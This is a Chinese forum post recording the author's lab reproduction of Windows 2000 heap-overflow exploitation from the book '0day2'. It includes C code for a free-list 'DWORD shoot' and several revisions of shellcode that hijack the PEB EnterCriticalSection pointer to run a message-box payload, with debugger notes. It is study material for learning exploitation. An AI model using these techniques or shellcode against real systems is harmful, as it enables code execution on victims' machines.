好久没有发帖子啦!最近一直很忙!但是还是抽空学习啦下!

前段时间匆匆忙忙的把0day2上的堆溢出实验做啦!

可能当时太浮躁啦,很多细节没注意!结果:实验结果很不满意!所以就有啦这一篇!!

上一篇是发布在cnblogs.com的。后来管理提醒我,我们不讨论这种技术!旧书重温:0day2【7】堆溢出实验(很失败的一篇)

所以来 F4ck 发布吧!

0day2第五篇 堆溢出利用!

这章节,我细读啦不下3遍!

但是还是感觉有些生疏,所以要想把这个实验做好!一定要把此章节搞明白!

文章开始

0x01. 0day2第五篇 堆溢出利用!  多看几遍,弄清楚!

0x02 此次环境 vc6 + windows2000 + od

0x03 第一个实验 空表再分配新堆时(从空表上卸下一块,分配新堆时的)dword shoot,此次试验只是调试中体会dword shoot,

原理:空表是双向的

<ignore_js_op> 
<ignore_js_op>

总结:在链表卸下时, 假造的node的FLink的值将写入到BLink的地址处(Flink = Forward前 link ,指向高地址; BLink = Behind 后 Link,指向低地址)

代码:

  1. HANDLE hp;
  2. HLOCAL h1,h2,h3,h4,h5,h6;
  3. // 堆空表卸载时的dword shoot
  4. //1 断点
  5. __asm int 3
  6. hp = HeapCreate(0,0x1000,0x10000); // 创建新的堆,不可扩展的堆 只存在空表
  7. //2 申请6个8 字节的堆内存
  8. h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
  9. h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
  10. h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
  11. h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
  12. h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
  13. h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
  14. //3 释放1 3 5 这时 空表第3项 即 free[2] 上会有3个彼此相连的node (申请的8字节 在加上头信息共16字节所以16/8 = 2,连入 free[2] )
  15. HeapFree(hp,0,h1);
  16. HeapFree(hp,0,h3);
  17. HeapFree(hp,0,h5);
  18. //4 这时候 h5 是free[2] 最后一项,如果再分配8字节的堆内存,会将h5卸下来,这时就存在dowrd shoot,执行到这步停下来,修改h5的值
  19. //5 sheng qing 8 byte new dui  -> dword shoot
  20. h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

复制代码

注意一定要replease模式生成,然后运行,od调试

<ignore_js_op>

下载od已经断在啦 int 3 处;nop掉 往下走 注意 hp h1,h2,h3,h4,h5,h6 的数值

神器od已经将 代码注释的很完美啦

我就不演示调试过程啦

直接来到  //4 这时候 h5 是free[2] 最后一项,如果再分配8字节的堆内存,会将h5卸下来,这时就存在dowrd shoot,执行到这步停下来,修改h5的值

我们开始手动修改 h5

<ignore_js_op>

此时我的PC的h5是003E06C8

在数据区 Ctrl+G l来到 003E06C8 处 ,这就是h5内存的起始地址,其实h5应该包含头部 我已经阴影标注 共16字节

继续执行下去 来到 h5释放后

<ignore_js_op>

这时的h5(003E06C8)处已经变了样!

阴影处是FLink 后边的是BLink

我们修改下 Flink 修改为4444,Blink 为0000,(因为卸下是将 会 44444写入到00000处,会报错)

<ignore_js_op>

将od的调试设置下!把忽略全去掉

继续F8 ,触发断点

<ignore_js_op>

仔细观察

MOV DWORD PTR DS:[EDX],ECX

此时 ecx 44444444; edx 00000000

验证完毕

0x04 第二个实验 StackAttackEnterCriticalSectionPointer

狙击 EnterCriticalSectionPointer 指针

为神马搞这个指针呢 !

<ignore_js_op>

指针在哪里呢

<ignore_js_op>

首先自己找到 这个指针

  1. __asm
  2. {
  3. xor eax,eax
  4. mov eax,fs:[eax+0x30] //peb
  5. lea eax,[eax+0x20]    //EnterCriticalSectionPointer
  6. mov eax,[eax]                  //EnterCriticalSection addr  这个是这个函数的地址
  7. }

复制代码

<ignore_js_op>

EnterCriticalSectionPointer  0x7ffdf020

  1. char shellcode[] =  //this my shellcode msg  ; Len is 181
  2. // 1   2   3   4   x   x   x   x |mov eax,0x7FFDF020| mov ebx,77F82060
  3. "\x90\x90\x90\x90"\
  4. "\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x20\xF0\xFD\x7F\xBB\x60\x20\xF8\x77\x89\x18"\
  5. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  6. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  7. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  8. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  9. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  10. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  11. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  12. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  13. "\xFC\x53\xFF\x57\xF8"\
  14. "\x90\x90\x90"\
  15. "\x16\x01\x1A\x00\x00\x10\x00\x00"\
  16. "\x88\x06\x36\x00\x20\xF0\xFD\x7F";        //20 nop
  17. //"\x90\x90\x90\x90\x90\x90\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x90\x90\x90\x90";        //20 nop
  18. HLOCAL h1=0,h2=0;
  19. HANDLE hp;
  20. hp = HeapCreate(0,0x1000,0x10000);
  21. h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,208); // 208 因为我的msg len 长啦!调试需要
  22. memcpy(h1,shellcode,0x200); //0x200 = 512
  23. h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

复制代码

原理
<ignore_js_op> 
<ignore_js_op> 
<ignore_js_op> 
<ignore_js_op>

首先我们来定位
shllcode 修改为

  1. char shellcode[] =  //this my shellcode MSG ; Len is 181
  2. // 1   2   3   4   x   x   x   x |mov eax,0x7FFDF020| mov ebx,77F82060
  3. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  4. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  5. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  6. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  7. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  8. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  9. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  10. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  11. "\xFC\x53\xFF\x57\xF8"\
  12. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  13. "\x90\x90\x90\x90\x90\x90\x90\x90"\
  14. "\x90\x90\x90\x90\x90\x90\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x90\x90\x90\x90";        //20 nop
  15. //209                                                  216
  16. // 181 +20 + 8 + 20

复制代码

<ignore_js_op>

我们看到h1是 360688

内存 我已经阴影标注啦

其中红色部分是 hp分配 h1后,剩下的部分 node 指向free[0]

如果在分配就会改变此处(红色标记处)如果我们通过memcpy代码覆盖掉这部分,就可以狙击 EnterCriticalSectionPointer

下面是 memcpy后的 内存情况

<ignore_js_op>

比较上一图 我们发现 红色部分被我们的 91 -98 控制啦 那么91 -98 就是我们 修改的关键

如果修改呢 根据F =》B的原理 我们把 91-94不知为我们shellcode 地址 也就是 h1地址 360688

将 B 部分 95 -98 为 EnterCriticalSectionPointer 7FFDF020

  1. char shellcode[] =  //this my shellcode MSG  ; Len is 181
  2. // 1   2   3   4   x   x   x   x |mov eax,0x7FFDF020| mov ebx,77F82060
  3. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  4. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  5. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  6. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  7. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  8. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  9. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  10. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  11. "\xFC\x53\xFF\x57\xF8"\
  12. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  13. "\x90\x90\x90\x90\x90\x90\x90\x90"\
  14. "\x90\x90\x90\x90\x90\x90\x90\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90";        //20 nop
  15. //209                                                   91 92   93  94  95  96  97  98
  16. // 181 +20 + 8 + 20

复制代码

<ignore_js_op>

我们已经控制啦

调试发现会存在 书中所说的 2次 dword shoot 造成我们的shllcode偏移 4字节处被污染!

我们将shellcode头部填充20 nop 验证下

  1. char shellcode[] =  //this my shellcode MSG ; Len is 181
  2. // 1   2   3   4   x   x   x   x |mov eax,0x7FFDF020| mov ebx,77F82060
  3. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  4. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  5. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  6. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  7. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  8. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  9. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  10. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  11. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  12. "\xFC\x53\xFF\x57\xF8"\
  13. "\x90\x90\x90\x90\x90\x90\x90\x90"\
  14. "\x90\x90\x90\x90\x90\x90\x90\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90";        //20 nop
  15. //209                                                   91 92   93  94  95  96  97  98
  16. // 181 +20 + 8 + 20

复制代码

将 下面的20 个 nop提到头部

<ignore_js_op>

<ignore_js_op>

红色部分 就是 2次dword的污染

<ignore_js_op>

还好 无关紧要

接下来解决问题,恢复被我们修改的EnterCriticalSectionPointer

__asm
        {
                xor eax,eax
                mov eax,fs:[eax+0x30] //peb
                lea eax,[eax+0x20]
                mov eax,[eax]     //这就是 EnterCriticalSection 地址啦 77F82060 (徐调试)

}
这实验 我就不做啦

以下code是修复 的代码

  1. char shellcode[] =  //this my shellcode MSG ; Len is 181
  2. // 1   2   3   4   x   x   x   x |mov eax,0x7FFDF020| mov ebx,77F82060   |mov[eax],ebx
  3. "\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x20\xF0\xFD\x7F\xBB\x60\x20\xF8\x77\x89\x18"\
  4. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  5. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  6. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  7. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  8. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  9. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  10. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  11. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  12. "\xFC\x53\xFF\x57\xF8"\
  13. "\x90\x90\x90\x90\x90\x90\x90\x90"\
  14. "\x90\x90\x90\x90\x90\x90\x90\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90";        //20 nop
  15. //209                                                   91 92   93  94  95  96  97  98
  16. // 181 +20 + 8 + 20

复制代码

到现在 还没有成功!

接下来就是修复下  尾块的头 现在尾块被我们的数据覆盖为啦90909090当然不对,所以异常

直接copy没被破坏的头结构

00360758  15 01 1B 00 00 10 00 00

先试试这个吧

修改啦还是不行 可能 还是2次 dowrd shoot 的脏数据问题

但是据说 那几句代码 可以忽略

为了保险 在产生脏数据的后面放4个 nop

最后的

  1. //2 stack overflow
  2. char shellcode[] =  //this my shellcode MSG ; Len is 181
  3. // 1   2   3   4   x   x   x   x                 |mov eax,0x7FFDF020| mov ebx,77F82060   |mov[eax],ebx
  4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x20\xF0\xFD\x7F\xBB\x60\x20\xF8\x77\x89\x18"\
  5. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  6. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  7. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  8. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  9. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  10. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  11. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  12. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  13. "\xFC\x53\xFF\x57\xF8"\
  14. "\x90\x90\x90\x15"\
  15. "\x01\x1b\x00\x00\x10\x00\x00\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90";        //20 nop
  16. //209                                                   91 92   93  94  95  96  97  98
  17. // 181 +20 + 8 + 20

复制代码

去掉int 3 直接运行

当当当  msg 出来啦

<ignore_js_op>

旧书重温:0day2【10】第五章 堆溢出利用2的更多相关文章

  1. windows2000 堆溢出 利用原理

    源于0day安全一书 1.堆的分配原理 申请堆空间   HANDLE address =  HeapCreate(0,0x1000,0x10000) address就是堆的地址 在address+0x ...

  2. 《数据结构与算法分析:C语言描述》复习——第五章“堆”——二叉堆

    2014.06.15 22:14 简介: 堆是一种非常实用的数据结构,其中以二叉堆最为常用.二叉堆可以看作一棵完全二叉树,每个节点的键值都大于(小于)其子节点,但左右孩子之间不需要有序.我们关心的通常 ...

  3. 《metasploit渗透测试魔鬼训练营》学习笔记第五章--网络服务渗透攻击

    三.网络服务渗透攻击 3.1 内存攻防技术      3.1.1 缓冲区溢出漏洞机理              缓冲区溢出是程序由于缺乏对缓冲区的边界条件检查而引起的一种异常行为.           ...

  4. linux下堆溢出unlink的一个简单例子及利用

    最近认真学习了下linux下堆的管理及堆溢出利用,做下笔记:作者作为初学者,如果有什么写的不对的地方而您又碰巧看到,欢迎指正. 本文用到的例子下载链接https://github.com/ctfs/w ...

  5. 堆溢出学习笔记(linux)

    本文主要是linux下堆的数据结构及堆调试.堆溢出利用的一些基础知识 首先,linux下堆的数据结构如下 /* This struct declaration is misleading (but a ...

  6. Linux 堆溢出原理分析

    堆溢出与堆的内存布局有关,要搞明白堆溢出,首先要清楚的是malloc()分配的堆内存布局是什么样子,free()操作后又变成什么样子. 解决第一个问题:通过malloc()分配的堆内存,如何布局? 上 ...

  7. 利用DWORD SHOOT实现堆溢出的利用(先知收录)

    原文链接:https://xz.aliyun.com/t/4009 1.0 DWORD SHOOT是什么捏? DWORD SHOOT指能够向内存任意位置写入任意数据,1个WORD=4个bytes,即可 ...

  8. Windwos堆管理体系以及溢出利用

    <0day安全>学习笔记,主要讨论WIndows2000~WIndowsSP1平台的堆管理策略. 0X01 堆与栈的区别 栈空间是在程序设计时已经规定好怎么使用,使用多少内存空间.典型的栈 ...

  9. 旧书重温:0day2【7】堆溢出实验

    相关文章我拍成了照片,放在了我的QQ空间不是做广告(一张一张的传太麻烦了)http://user.qzone.qq.com/252738331/photo/V10U5YUk2v0ol6/    密码9 ...

随机推荐

  1. Kattis - wheretolive 【数学--求质心】

    Kattis - wheretolive [数学] Description Moving to a new town can be difficult. Finding a good place to ...

  2. maven项目中如何创建web.xml

    在web工程创建时创建web.xml:用Eclipse新建一个web项目没有自动生成web.xml 在创建maven工程时,大多没有创建web.xml文件,web.xml路径:src/main/web ...

  3. JMeter接口测试和压力测试

    JMeter接口测试和压力测试 JMeter可以做接口测试和压力测试.其中接口测试的简单操作包括做http脚本(发get/post请求.加cookie.加header.加权限认证.上传文件).做web ...

  4. resin服务一直不停重启

    resin服务不断重启. 原因为resin配置文件使用域名.需要到服务上绑定一下域名.

  5. SQuirrel-GUI工具安装手册-基于phoenix驱动

    背景描述: SQuirrel sql client 官方地址:http://www.squirrelsql.org/index.php?page=screenshots 一个图形界面的管理工具 安装手 ...

  6. 20145229吴姗珊《网络对抗》WEB基础实践

    20145229吴姗珊<网络对抗>WEB基础实践 基础与实践 基础问题 1.什么是表单 表单是可以收集用户的信息和反馈意见,是网站管理者与浏览者之间沟通的桥梁. 一部分是HTML源代码用于 ...

  7. mysql 进阶查询(学习笔记)

    学习笔记,来源:实验楼 ,链接: https://www.shiyanlou.com/courses/9   一.日期计算: 1.要想确定每个宠物有多大,可以使用函数TIMESTAMPDIFF()计算 ...

  8. 在 CentOS 7.0 上安装配置 Ceph 存储

    来自: https://linux.cn/article-6624-1.html Ceph 是一个将数据存储在单一分布式计算机集群上的开源软件平台.当你计划构建一个云时,你首先需要决定如何实现你的存储 ...

  9. BZOJ4487 [Jsoi2015]染色问题

    BZOJ4487 [Jsoi2015]染色问题 题目描述 传送门 题目分析 发现三个限制,大力容斥推出式子是\(\sum_{i=0}^{N}\sum_{j=0}^{M}\sum_{k=0}^{C}(- ...

  10. Graph_Master(连通分量_A_双连通分量+桥)

    hdu 5409 题目大意:给出一张简单图,求对应输入的m条边,第i-th条边被删除后,哪两个点不连通(u,v,u<v),若有多解,使得u尽量大的同时v尽量小. 解题过程:拿到题面的第一反应缩点 ...